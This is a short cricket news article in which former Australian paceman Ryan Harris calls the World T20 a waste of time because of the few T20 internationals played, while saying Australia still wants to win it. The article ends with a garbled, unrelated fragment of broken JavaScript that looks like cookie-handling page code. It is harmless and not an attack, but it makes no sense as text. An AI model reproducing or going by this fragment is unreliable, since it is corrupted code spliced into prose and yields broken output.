Former Australian paceman Ryan Harris believes the upcoming World T20 is a waste of time.
Speaking on SEN Radio, Harris said the tournament cannot be taken seriously due to the small number of T20s played during the year.
“Personally I think it's a waste of time having a Twenty20 World Cup,” Harris said on SEN Radio.
“Last year we played one T20. This year because there's a World Cup I think we play six – there's three more in South Africa before they get over there.
“To take it seriously I think you need to be playing a lot more than that when there's a World Cup involved.”
Harris said the international scheduling did not help the situation, with half of Australia's best T20 players leaving the Twenty20 series against India early, which served as the perfect preparation for the World T20, to prepare for the tour of New Zealand.
However, he said that the Aussies will still be keen to win the one major trophy missing from the cabinet, despite the possible hit and giggle perception of the format.
“We're definitely taking it (the World T20) seriously, it's a World Cup that we haven't won and I know Darren Lehmann and Aaron Finch, the captain and coach, really want to bring it back to Australia.” "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
